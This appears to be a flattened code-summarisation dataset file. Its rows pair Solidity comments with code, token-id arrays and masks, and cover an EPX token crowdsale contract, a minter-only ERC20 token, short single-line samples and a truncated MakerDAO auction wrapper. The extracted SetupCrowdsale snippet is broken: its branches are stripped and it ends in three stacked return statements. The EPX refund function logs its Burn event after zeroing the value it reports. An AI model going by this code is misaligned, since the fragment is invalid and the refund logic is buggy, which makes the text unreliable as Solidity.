10021,
434,
288,
654,
39,
3462,
97,
716,
4831,
15105,
2502,
4694,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
10362,
12143,
2396,
353,
4232,
39,
3462,
288,
203,
565,
2254,
28,
3238,
11732,
389,
31734,
273,
374,
31,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
273,
6604,
380,
1728,
636,
20,
31,
203,
565,
1426,
1071,
9230,
3039,
273,
638,
31,
203,
377,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
7010,
565,
3885,
1435,
4232,
39,
3462,
2932,
28070,
11432,
3113,
315,
55,
16333,
7923,
288,
203,
540,
203,
203,
3639,
1758,
389,
318,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
389,
318,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
389,
4963,
3088,
1283,
300,
2130,
1769,
203,
540,
2
]
|
pragma solidity ^0.4.18;
// -------------------------------------------------
// ethPoker.io EPX token - Presale & ICO token sale contract
// contact [email protected] for queries
// Revision 20b
// Refunds integrated, full test suite 20r passed
// -------------------------------------------------
// ERC Token Standard #20 interface:
// https://github.com/ethereum/EIPs/issues/20
// EPX contract sources:
// https://github.com/EthPokerIO/ethpokerIO
// ------------------------------------------------
// 2018 improvements:
// - Updates to comply with latest Solidity versioning (0.4.18):
// - Classification of internal/private vs public functions
// - Specification of pure functions such as SafeMath integrated functions
// - Conversion of all constant to view or pure dependant on state changed
// - Full regression test of code updates
// - Revision of block number timing for new Ethereum block times
// - Removed duplicate Buy/Transfer event call in buyEPXtokens function (ethScan output verified)
// - Burn event now records number of EPX tokens burned vs Refund event Eth
// - Transfer event now fired when beneficiaryWallet withdraws
// - Gas req optimisation for payable function to maximise compatibility
// - Going live for initial Presale round 02/03/2018
// -------------------------------------------------
// Security reviews passed - cycle 20r
// Functional reviews passed - cycle 20r
// Final code revision and regression test cycle passed - cycle 20r
// -------------------------------------------------
contract owned {
address public owner;
function owned() internal {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal pure {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract EPXCrowdsale is owned, safeMath {
// owner/admin & token reward
address public admin = owner; // admin address
StandardToken public tokenReward; // address of the token used as reward
// deployment variables for static supply sale
uint256 private initialTokenSupply;
uint256 private tokensRemaining;
// multi-sig addresses and price variable
address private beneficiaryWallet; // beneficiaryMultiSig (founder group) or wallet account
// uint256 values for min,max,caps,tracking
uint256 public amountRaisedInWei; //
uint256 public fundingMinCapInWei; //
// loop control, ICO startup and limiters
string public CurrentStatus = ""; // current crowdsale status
uint256 public fundingStartBlock; // crowdsale start block#
uint256 public fundingEndBlock; // crowdsale end block#
bool public isCrowdSaleClosed = false; // crowdsale completion boolean
bool private areFundsReleasedToBeneficiary = false; // boolean for founder to receive Eth or not
bool public isCrowdSaleSetup = false; // boolean for crowdsale setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _EPX);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) usersEPXfundValue;
// default function, map admin
function EPXCrowdsale() public onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
// total number of tokens initially
function initialEPXSupply() public view returns (uint256 initialEPXtokenCount) {
return safeDiv(initialTokenSupply,10000); // div by 10,000 for display normalisation (4 decimals)
}
// remaining number of tokens
function remainingEPXSupply() public view returns (uint256 remainingEPXtokenCount) {
return safeDiv(tokensRemaining,10000); // div by 10,000 for display normalisation (4 decimals)
}
// setup the CrowdSale parameters
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) public onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))) {
// init addresses
beneficiaryWallet = 0x7A29e1343c6a107ce78199F1b3a1d2952efd77bA;
tokenReward = StandardToken(0x35BAA72038F127f9f8C8f9B491049f64f377914d);
// funding targets
fundingMinCapInWei = 30000000000000000000; // ETH 300 + 000000000000000000 18 dec wei
// update values
amountRaisedInWei = 0;
initialTokenSupply = 200000000000; // 20,000,000 + 4 dec resolution
tokensRemaining = initialTokenSupply;
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure crowdsale
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorised";
} else {
return "campaign cannot be changed";
}
}
function checkPrice() internal view returns (uint256 currentPriceValue) {
if (block.number >= fundingStartBlock+177534) { // 30-day price change/final 30day change
return (7600); //30days-end =7600EPX:1ETH
} else if (block.number >= fundingStartBlock+124274) { //3 week mark/over 21days
return (8200); //3w-30days =8200EPX:1ETH
} else if (block.number >= fundingStartBlock) { // start [0 hrs]
return (8800); //0-3weeks =8800EPX:1ETH
}
}
// default payable function when sending ether to this contract
function () public payable {
// 0. conditions (length, crowdsale setup, zero check, exceed funding contrib check, contract valid check, within funding block range check, balance overflow check etc)
require(!(msg.value == 0)
&& (msg.data.length == 0)
&& (block.number <= fundingEndBlock)
&& (block.number >= fundingStartBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
amountRaisedInWei = safeAdd(amountRaisedInWei, msg.value);
rewardTransferAmount = ((safeMul(msg.value, checkPrice())) / 100000000000000);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, rewardTransferAmount);
tokenReward.transfer(msg.sender, rewardTransferAmount);
// 4. events
usersEPXfundValue[msg.sender] = safeAdd(usersEPXfundValue[msg.sender], msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) public onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
Transfer(this, beneficiaryWallet, _amount);
}
function checkGoalReached() public onlyOwner { // return crowdfund status to owner for each result case, update public vars
// update state & status variables
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // ICO in progress, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens bought!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (EPX >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // ICO ended, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // ICO in progress, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
}
}
function refund() public { // any contributor can call this to have their Eth returned. user's purchased EPX tokens are burned prior refund of Eth.
//require minCap not reached
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (usersEPXfundValue[msg.sender] > 0));
//burn user's token EPX token balance, refund Eth sent
uint256 ethRefund = usersEPXfundValue[msg.sender];
balancesArray[msg.sender] = 0;
usersEPXfundValue[msg.sender] = 0;
//record Burn event with number of EPX tokens burned
Burn(msg.sender, usersEPXfundValue[msg.sender]);
//send Eth back
msg.sender.transfer(ethRefund);
//record Refund event with number of Eth refunded in transaction
Refund(msg.sender, ethRefund);
}
} | setup the CrowdSale parameters init addresses funding targets update values configure crowdsale | function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) public onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))) {
beneficiaryWallet = 0x7A29e1343c6a107ce78199F1b3a1d2952efd77bA;
tokenReward = StandardToken(0x35BAA72038F127f9f8C8f9B491049f64f377914d);
amountRaisedInWei = 0;
tokensRemaining = initialTokenSupply;
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
return "Crowdsale is setup";
return "not authorised";
return "campaign cannot be changed";
}
}
| 6,010,147 | [
1,
8401,
326,
385,
492,
72,
30746,
1472,
1208,
6138,
22058,
5774,
1089,
924,
5068,
276,
492,
2377,
5349,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
10939,
39,
492,
2377,
5349,
12,
11890,
5034,
389,
74,
14351,
1685,
1768,
16,
2254,
5034,
389,
74,
14351,
1638,
1768,
13,
1071,
1338,
5541,
1135,
261,
3890,
1578,
766,
13,
288,
203,
565,
309,
14015,
3576,
18,
15330,
422,
3981,
13,
203,
565,
597,
16051,
12,
291,
39,
492,
72,
30746,
7365,
3719,
203,
565,
597,
16051,
12,
70,
4009,
74,
14463,
814,
16936,
405,
374,
20349,
288,
203,
1377,
27641,
74,
14463,
814,
16936,
15604,
273,
374,
92,
27,
37,
5540,
73,
3437,
8942,
71,
26,
69,
23054,
311,
8285,
19818,
42,
21,
70,
23,
69,
21,
72,
5540,
9401,
73,
8313,
4700,
70,
37,
31,
203,
1377,
1147,
17631,
1060,
11794,
273,
8263,
1345,
12,
20,
92,
4763,
38,
5284,
27,
3462,
7414,
42,
14260,
74,
29,
74,
28,
39,
28,
74,
29,
38,
7616,
2163,
7616,
74,
1105,
74,
23,
4700,
29,
3461,
72,
1769,
203,
203,
203,
1377,
3844,
12649,
5918,
382,
3218,
77,
15604,
273,
374,
31,
203,
1377,
2430,
11429,
7682,
273,
2172,
1345,
3088,
1283,
31,
203,
1377,
22058,
1685,
1768,
15604,
273,
389,
74,
14351,
1685,
1768,
31,
203,
1377,
22058,
1638,
1768,
7682,
273,
389,
74,
14351,
1638,
1768,
31,
203,
203,
1377,
25249,
492,
72,
30746,
7365,
13491,
273,
638,
31,
203,
1377,
25249,
492,
72,
30746,
7395,
15604,
273,
629,
31,
203,
1377,
6562,
1482,
21821,
273,
315,
39,
492,
2377,
5349,
353,
3875,
14432,
203,
1377,
327,
315,
39,
492,
2377,
5349,
353,
3875,
14432,
203,
1377,
327,
315,
2
]
|
./partial_match/42/0x4FD31e0ECe45f46880D5C59F3Fc4391339b88e88/sources/CategoryFive.sol | File: contracts/Hugo.sol | contract Hugo is ERC20 {
address minter;
modifier onlyMinter {
require(msg.sender == minter, 'Only minter can call this function.');
_;
}
constructor(address _minter) public ERC20('Hurricane.Hugo', 'HUGO') {
minter = _minter;
}
function mint(address account, uint256 amount) external onlyMinter {
_mint(account, amount);
}
function burn(address account, uint256 amount) external onlyMinter {
_burn(account, amount);
}
}
| 3,379,727 | [
1,
812,
30,
20092,
19,
44,
637,
83,
18,
18281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
670,
637,
83,
353,
4232,
39,
3462,
288,
203,
377,
203,
565,
1758,
1131,
387,
31,
203,
203,
565,
9606,
1338,
49,
2761,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1131,
387,
16,
296,
3386,
1131,
387,
848,
745,
333,
445,
1093,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
12,
2867,
389,
1154,
387,
13,
1071,
4232,
39,
3462,
2668,
44,
295,
1512,
8806,
18,
44,
637,
83,
2187,
296,
44,
57,
16387,
6134,
288,
203,
3639,
1131,
387,
273,
389,
1154,
387,
31,
203,
565,
289,
203,
203,
565,
445,
312,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
3903,
1338,
49,
2761,
288,
203,
3639,
389,
81,
474,
12,
4631,
16,
3844,
1769,
203,
565,
289,
203,
203,
565,
445,
18305,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
3903,
1338,
49,
2761,
288,
203,
3639,
389,
70,
321,
12,
4631,
16,
3844,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0x7f3b58FBA72298CF80a5ec208aA36f7b4912e239/sources/browser/Untitled2.sol | fixed template for minion using eip-1167 proxy pattern
| address payable immutable public template; | 667,335 | [
1,
12429,
1542,
364,
13524,
1450,
425,
625,
17,
20562,
27,
2889,
1936,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1758,
8843,
429,
11732,
1071,
1542,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/5/0x6a82A2128F382d09aB36D7076bdB871eF879a9cE/sources/contracts/MarketPlace.sol | Refund excess funds | uint256 remainingFunds = msg.value - _price;
| 16,858,231 | [
1,
21537,
23183,
284,
19156,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
4463,
42,
19156,
273,
1234,
18,
1132,
300,
389,
8694,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.16;
import "../interfaces/IFlopper.sol";
contract SimpleFlopper {
// A "flopper" is a contract for auctioning off MKR in exchange for Dai.
IFlopper private _auction;
constructor(address auction) public {
_auction = IFlopper(auction);
}
// Getters //
/// @notice Get the status of the flopper contract
/// @return bool status true if auction contract is enabled
function isEnabled() public view returns (bool status) {
return (_auction.live() == 1) ? true : false;
}
/// @notice Get the id of the latest auction
/// @return auctionID uint256 id
function getTotalNumberOfAuctions() public view returns (uint256 auctionID) {
return _auction.kicks();
}
/// @notice Get the address of the auction contract (Flopper)
/// @return Auction address
function getFlopperAddress() public view returns (address flopper) {
return address(_auction);
}
/// @notice Get the flopper contract config
/// @return bidIncrement uint256 minimum bid increment as percentage (initial = 1.05E18)
/// @return repriceIncrement uint256 reprice increment as percentage (initial = 1.50E18)
/// @return bidDuration uint256 duration of a bid in seconds (initial = 3 hours)
/// @return auctionDuration uint256 initial duration of an auction in seconds (initial = 2 days)
function getAuctionInformation() public view returns (
uint256 bidIncrement,
uint256 repriceIncrement,
uint256 bidDuration,
uint256 auctionDuration
) {
return (_auction.beg(), _auction.pad(), _auction.ttl(), _auction.tau());
}
/// @notice Get the winning bid for an auction
/// @return amountDAI uint256 amount of DAI to be burned
/// @return amountMKR uint256 amount of MKR to be minted
/// @return bidder address account who placed bid
/// @return bidDeadline uint48 deadline of bid
/// @return auctionDeadline uint48 deadline of auction
function getCurrentBid(uint256 auctionID) public view returns (
uint256 amountDAI,
uint256 amountMKR,
address bidder,
uint48 bidDeadline,
uint48 auctionDeadline
) {
return _auction.bids(auctionID);
}
// Setters //
/// @notice Extend and reprice expired auction with no bid
/// @dev state machine: after auction expiry, before first bid
/// @param auctionID uint256 id of the auction
